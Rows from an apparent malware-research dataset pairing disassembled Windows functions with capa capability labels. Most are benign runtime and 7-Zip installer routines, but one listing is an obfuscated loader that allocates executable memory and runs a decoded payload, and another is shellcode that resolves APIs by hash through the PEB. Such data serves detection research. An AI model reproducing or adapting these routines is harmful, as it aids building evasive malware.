joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e9be
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4900d0], ebx
push esi
push edi
jne 0x45ea3e
push str.user32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x45ea79
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x472b94
push edi
call esi
test eax, eax
mov dword [0x4900d0], eax
je 0x45ea79
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x4900d4], eax
call esi
cmp dword [0x48fd20], 2
mov dword [0x4900d8], eax
jne 0x45ea3e
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x4900e0], eax
je 0x45ea3e
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x4900dc], eax
mov eax, dword [0x4900dc]
test eax, eax
je 0x45ea83
call eax
test eax, eax
je 0x45ea6a
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x4900e0]
test eax, eax
je 0x45ea6a
test byte [ebp - 8], 1
jne 0x45ea83
cmp dword [0x48fd2c], 4
jb 0x45ea7d
or byte [ebp + 0x12], 0x20
jmp 0x45eaa2
xor eax, eax
jmp 0x45eab2
or byte [ebp + 0x12], 4
jmp 0x45eaa2
mov eax, dword [0x4900d4]
test eax, eax
je 0x45eaa2
call eax
mov ebx, eax
test ebx, ebx
je 0x45eaa2
mov eax, dword [0x4900d8]
test eax, eax
je 0x45eaa2
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4900d0]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4604d9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x4606ad
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x491b60]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x4606ad
test cl, 0x48
je 0x460544
cmp byte [eax + 5], 0xa
je 0x460544
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x460596
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x46057e
call fcn.004568cd
mov dword [eax], 9
call fcn.004568d6
mov dword [eax], esi
jmp 0x46058e
cmp eax, 0x6d
je 0x4606ad
push eax
call fcn.004568df
pop ecx
or eax, 0xffffffff
jmp 0x4606af
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x4606a8
test eax, eax
je 0x4605bd
cmp byte [ebx], 0xa
jne 0x4605bd
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x4605c6
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x4606a2
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x460692
cmp al, 0xd
je 0x4605f8
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x460684
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x460612
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x46060d
add dword [ebp + 0x10], 2
jmp 0x460666
mov dword [ebp + 0x10], eax
jmp 0x460680
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x46063a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
jne 0x460680
cmp dword [ebp - 0xc], 0
je 0x460680
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x46065b
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x460666
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x460683
cmp ebx, dword [ebp + 0xc]
jne 0x46066b
cmp byte [ebp - 1], 0xa
jne 0x46066b
mov byte [ebx], 0xa
jmp 0x460683
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0045dd76
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x460684
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x4605dc
jmp 0x4606a2
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x4606a2
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x4606af
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4610e5
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x472ce8
call fcn.00454bf8
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x4901a8], edi
jne 0x461129
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
test eax, eax
je 0x461114
mov dword [0x4901a8], ebx
jmp 0x461129
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x78
jne 0x461129
mov dword [0x4901a8], 2
mov eax, dword [0x4901a8]
cmp eax, ebx
jne 0x461149
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
jmp 0x46120c
cmp eax, 2
je 0x461152
cmp eax, edi
jne 0x46117a
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x461165
mov eax, dword [0x490030]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x461181
xor eax, eax
jmp 0x46120c
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.00456890
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x4611b4
cmp esi, edi
jne 0x4611ca
push dword [ebp - 0x20]
call fcn.00450529
pop ecx
mov esi, eax
cmp esi, edi
je 0x46117a
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
test eax, eax
je 0x4611fd
cmp dword [ebp + 0x14], edi
jne 0x4611e7
push edi
push edi
jmp 0x4611ed
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x461209
push esi
call fcn.0045053b
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.00454c33
ret
Function at 0x461215
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x472cf8
call fcn.00454bf8
xor esi, esi
cmp dword [0x4901ac], esi
jne 0x461259
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
test eax, eax
je 0x461244
mov dword [0x4901ac], edi
jmp 0x461259
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x78
jne 0x461259
mov dword [0x4901ac], 2
mov eax, dword [0x4901ac]
cmp eax, 2
je 0x46133a
cmp eax, esi
je 0x46133a
cmp eax, 1
jne 0x46129e
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x461287
mov eax, dword [0x490030]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x4612a5
xor eax, eax
jmp 0x46134c
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.00456890
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x4612db
cmp edi, esi
jne 0x4612f6
lea eax, [ebx + ebx]
push eax
call fcn.00450529
pop ecx
mov edi, eax
cmp edi, esi
je 0x46129e
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
test eax, eax
je 0x461329
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x461313
push esi
push esi
jmp 0x461319
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x461335
push edi
call fcn.0045053b
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x46134c
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.00454c33
ret
Function at 0x461ddb
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], ebx
jne 0x461df4
or eax, 0xffffffff
jmp 0x461e55
push esi
mov esi, dword [eax]
cmp esi, ebx
mov dword [ebp - 4], esi
je 0x461e51
push 0x3d
push esi
call fcn.00461fb0
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
je 0x461e51
cmp esi, eax
je 0x461e51
xor ecx, ecx
cmp byte [eax + 1], bl
mov eax, dword [0x48fd40]
sete cl
cmp eax, dword [0x48fd44]
mov dword [ebp - 8], ecx
jne 0x461e37
mov edi, eax
call fcn.00461d7a
mov dword [0x48fd40], eax
cmp eax, ebx
jne 0x461e90
cmp dword [ebp + 0xc], ebx
je 0x461e59
cmp dword [0x48fd48], ebx
je 0x461e59
call fcn.004617b4
test eax, eax
je 0x461e90
or eax, 0xffffffff
pop esi
pop edi
pop ebx
leave
ret
cmp dword [ebp - 8], ebx
je 0x461e62
xor eax, eax
jmp 0x461e54
push 4
call fcn.00450529
cmp eax, ebx
pop ecx
mov dword [0x48fd40], eax
je 0x461e51
mov dword [eax], ebx
cmp dword [0x48fd48], ebx
jne 0x461e90
push 4
call fcn.00450529
cmp eax, ebx
pop ecx
mov dword [0x48fd48], eax
je 0x461e51
mov dword [eax], ebx
mov edi, dword [ebp - 0xc]
sub edi, dword [ebp - 4]
push dword [ebp - 4]
mov esi, dword [0x48fd40]
call fcn.00461d2d
mov edi, eax
cmp edi, ebx
pop ecx
jl 0x461ef1
cmp dword [esi], ebx
je 0x461ef1
lea esi, [esi + edi*4]
push dword [esi]
call fcn.0045053b
cmp dword [ebp - 8], ebx
pop ecx
jne 0x461ed4
mov eax, dword [ebp - 4]
mov dword [esi], eax
mov eax, dword [ebp + 8]
mov dword [eax], ebx
jmp 0x461f32
mov eax, dword [esi + 4]
mov dword [esi], eax
inc edi
add esi, 4
cmp dword [esi], ebx
jne 0x461ecb
mov eax, edi
shl eax, 2
push eax
push dword [0x48fd40]
call fcn.004547ed
cmp eax, ebx
pop ecx
pop ecx
je 0x461f32
jmp 0x461f2d
cmp dword [ebp - 8], ebx
jne 0x461f9d
cmp edi, ebx
jge 0x461f00
neg edi
lea eax, [edi*4 + 8]
push eax
push dword [0x48fd40]
call fcn.004547ed
cmp eax, ebx
pop ecx
pop ecx
je 0x461e51
mov edx, dword [ebp - 4]
lea ecx, [eax + edi*4]
mov dword [ecx], edx
mov dword [ecx + 4], ebx
mov ecx, dword [ebp + 8]
mov dword [ecx], ebx
mov dword [0x48fd40], eax
cmp dword [ebp + 0xc], ebx
je 0x461f87
push dword [ebp - 4]
call fcn.00450c50
inc eax
inc eax
push eax
call fcn.00450529
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x461f87
push dword [ebp - 4]
push esi
call fcn.00451e00
mov eax, esi
sub eax, dword [ebp - 4]
pop ecx
add eax, dword [ebp - 0xc]
pop ecx
mov ecx, dword [ebp - 8]
mov byte [eax], bl
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
test eax, eax
jne 0x461f80
or dword [ebp - 0x10], 0xffffffff
push esi
call fcn.0045053b
pop ecx
cmp dword [ebp - 8], ebx
je 0x461f95
push dword [ebp - 4]
call fcn.0045053b
pop ecx
mov eax, dword [ebp - 0x10]
jmp 0x461e54
push dword [ebp - 4]
call fcn.0045053b
mov eax, dword [ebp + 8]
pop ecx
mov dword [eax], ebx
jmp 0x461e5e
Function at 0x10009013
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10009022
pop dword [ebp - 0x44]
mov eax, 0xf75ee472
add eax, 0x18a1abb0
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x266b31b4
sub dword [ebp - 0x54], 0xd818ec69
mov dword [ebp - 0x50], 0x1b29c5c4
add dword [ebp - 0x50], 0x17098681
mov dword [ebp - 0x4c], 0x646513b0
add dword [ebp - 0x4c], 0xe7e7307e
mov dword [ebp - 0x48], 0x21e39fb8
sub dword [ebp - 0x48], 0x21e39fb8
lea eax, [ebp - 0x54]
push eax
mov eax, 0x37c6a18b
sub eax, 0x27c5e167
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xd6845b4b
sub dword [ebp - 0x54], 0x6211f1f5
mov dword [ebp - 0x50], 0x9e580cf5
add dword [ebp - 0x50], 0xa3145480
mov dword [ebp - 0x4c], 0x7873feb5
add dword [ebp - 0x4c], 0xeafb6db7
mov dword [ebp - 0x48], 0xb40de838
add dword [ebp - 0x48], 0x4bf217c8
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x3133ec77
sub eax, 0x21332c4b
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x33b04
push 0
call eax
mov ecx, 0x2bfc4853
sub ecx, 0x2bfc117b
xor esi, esi
add esi, eax
mov edi, 0xc1f89d6b
add edi, 0x4e0bd695
add edi, dword [ebp - 0x44]
mov edx, 0x50b2f6a0
add edx, 0x85328a70
mov dword [ebp - 4], 0x9c336de5
mov ebx, dword [edi]
xor dword [ebp - 0x24], 0x1a4b03d6
add ebx, edx
sub dword [ebp - 0x2c], ecx
mov dword [esi], ebx
add dword [ebp - 0x20], ebx
add esi, 0x544e97e6
add esi, 0xabb1681e
add edi, 0x6487b7a0
add edi, 0x9b784864
loop 0x10009146
add eax, 0xf52619be
sub eax, 0xf5254b8b
xor ebx, ebx
add ebx, eax
add eax, 0xb62ba667
add eax, 0x49d4599e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x411901
Capabilities:
Resolve function by hash

Disassembly:
push 0x4012f0
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], al
dec ebp
xor eax, ebx
or al, 0x4c
push es
inc ebp
lcall 0xe566, 0xac73e783
cmp al, 0
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x6b], ch
push edx
je 0x4012ce
popal
push 0x4e
add byte [eax], al
add byte [eax], al
add byte cs:[eax], al
add byte [eax], al
push es
add byte [eax], al
add byte [eax + 0x37], bh
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax], ah
das
inc eax
add byte [edi], al
add byte [eax], al
add ah, bl
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x700402e], al
add byte [eax], al
add byte [esi + ebp], bh
inc eax
add byte [edi], al
add byte [eax], al
add ah, dh
sub eax, 0x70040
add byte [eax], al
mov al, 0x2d
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x2d], ch
inc eax
add byte [edi], al
add byte [eax], al
add byte [ebp + 0x70040], ah
add byte [eax], al
shr byte [eax + eax*2], 1
add byte [edi], al
add byte [eax], al
add byte [esp + ebp + 0x70040], cl
add byte [eax], al
and al, 0x2c
inc eax
add byte [edi], al
add byte [eax], al
add al, bl
sub eax, dword [eax]
pop es
add byte [eax], al
add byte [ebx + ebp + 0x70040], dl
add byte [eax], al
cmp al, 0x2b
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x2a], dh
inc eax
add byte [esi + 0x42], dl
xor eax, 0x2a263621
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or al, byte [eax]
or dword [eax + eax], eax
add byte [eax], al
add byte [eax], al
add byte [esi + edx], ch
inc eax
add ah, bl
sbb dword [eax], eax
add al, 0xf8
xor byte [ecx], al
add bh, bh
invalid
push ebx
push esi
push edi
push ebp
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4118c7
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4118be
cmp edi, 0x6a4abc5b
mov ebp, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4118b6
call 0x411901
or eax, 0x776c6873
popal
jo 0x411951
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x411901
mov edi, 0xec0e4e8e
call fcn.00411a57
mov edx, dword [esp]
inc edx
push edx
call eax
push ebp
mov ebp, eax
mov edi, 0x2de87c46
call fcn.00411a57
pop ebp
call fcn.00411a49
mov edx, dword [esp]
inc edx
xor ebx, ebx
push ebx
push ebx
push ebx
push edx
call eax
test eax, eax
jne 0x41194e
mov edi, 0xca2bd06b
call fcn.00411a57
call fcn.00411958
xor ebx, ebx
push ebx
push ebx
push ebp
push ecx
push ebx
push ebx
call eax
pop eax
pop ebp
pop edi
pop esi
pop ebx
jmp 0x401220
Function at 0x4024a0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x264]
mov dword [ebp - 8], 1
push eax
mov eax, dword [ebp - 4]
dec eax
push ebx
neg eax
sbb eax, eax
push ebx
and al, 0xeb
mov word [ebp - 0x264], bx
add eax, 0x17
push eax
push dword [ebp - 0xc]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4025b3
lea ecx, [ebp - 0x264]
call fcn.00401448
mov edx, dword [0x408150]
lea ecx, [ebp - 0x264]
call fcn.004013af
cmp dword [ebp - 4], ebx
je 0x402516
lea ecx, [ebp - 0x264]
call fcn.004020e0
lea ecx, [ebp - 0x264]
call fcn.00401448
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edi, edi
lea esi, [ebp + eax*2 - 0x264]
cmp edi, ebx
mov edx, str.7_Zip_File_Manager.lnk
je 0x402545
mov edx, str.7_Zip_Help.lnk
mov ecx, esi
call fcn.00401312
lea eax, [ebp - 0x4bc]
push 0x40a44c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp edi, ebx
mov edx, str.7zFM.exe
je 0x40256c
mov edx, str.7_zip.chm
lea ecx, [ebp - 0x4bc]
call fcn.004013af
cmp dword [ebp - 4], ebx
jne 0x40258b
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4025a3
lea edx, [ebp - 0x4bc]
lea ecx, [ebp - 0x264]
call fcn.004025c5
test eax, eax
je 0x4025a3
mov dword [ebp - 8], ebx
inc edi
cmp edi, 2
jb 0x402537
cmp dword [ebp - 4], ebx
je 0x4025b3
cmp dword [ebp - 8], ebx
jne 0x4025c0
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jb 0x4024b4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404c6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
xor esi, esi
mov edx, 0x40a8e0
mov ecx, 0x40ace0
push 8
mov eax, esi
pop edi
mov ebx, eax
and ebx, 1
neg ebx
and ebx, 0xedb88320
shr eax, 1
xor eax, ebx
dec edi
jne 0x404c7f
mov dword [edx], eax
add edx, 4
inc esi
cmp edx, ecx
jb 0x404c7a
mov eax, dword [ecx - 0x400]
mov edx, eax
and edx, 0xff
shr eax, 8
mov edx, dword [edx*4 + 0x40a8e0]
xor edx, eax
mov dword [ecx], edx
add ecx, 4
cmp ecx, 0x40c8e0
jb 0x404c9d
mov eax, 0x404cf1
mov esi, 0x404da5
mov dword [0x40c8e4], eax
mov dword [0x40a8d4], eax
mov dword [0x40c8e0], esi
call fcn.00405c94
test eax, eax
jne 0x404ced
mov dword [0x40a8d4], esi
pop edi
pop esi
pop ebx
ret

Function at 0x404f10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], edx
mov ebx, ecx
mov edi, dword [esi]
and dword [esi], 0
test edi, edi
je 0x404f69
mov eax, 0x400000
cmp edi, eax
ja 0x404f33
mov eax, edi
lea ecx, [ebp + 8]
push 0
and dword [ebp + 8], 0
push ecx
push eax
push dword [ebp - 4]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 8]
add dword [ebp - 4], ecx
add dword [esi], ecx
sub edi, ecx
test eax, eax
je 0x404f61
test ecx, ecx
je 0x404f69
test edi, edi
jbe 0x404f69
jmp 0x404f28
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x404f6b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404f72
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], edx
mov ebx, ecx
mov edi, dword [esi]
and dword [esi], 0
test edi, edi
je 0x404fcb
mov eax, 0x400000
cmp edi, eax
ja 0x404f95
mov eax, edi
lea ecx, [ebp + 8]
push 0
and dword [ebp + 8], 0
push ecx
push eax
push dword [ebp - 4]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 8]
add dword [ebp - 4], ecx
add dword [esi], ecx
sub edi, ecx
test eax, eax
je 0x404fc3
test ecx, ecx
je 0x404fcb
test edi, edi
jbe 0x404fcb
jmp 0x404f8a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x404fcd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40e7e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x40e805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x40e878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x40e83a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x40e86d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x40e86b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x40e831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x40e7fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x40727f
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0x40
xor edx, edx
pop eax
div dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [ebp + 0x18], ecx
jbe 0x4072d6
dec eax
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
xor eax, eax
inc eax
xor edx, edx
call fcn.004bfc60
and eax, dword [ebp + 0x14]
and edx, dword [ebp - 8]
mov ecx, dword [ebp + 8]
call fcn.004bfc60
mov ecx, dword [ebp - 4]
xor edi, eax
mov eax, dword [ebp - 0xc]
add dword [ebp + 8], eax
xor esi, edx
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [ebp + 0x18]
jb 0x4072a8
mov eax, edi
pop edi
mov edx, esi
pop esi
leave
ret 0x14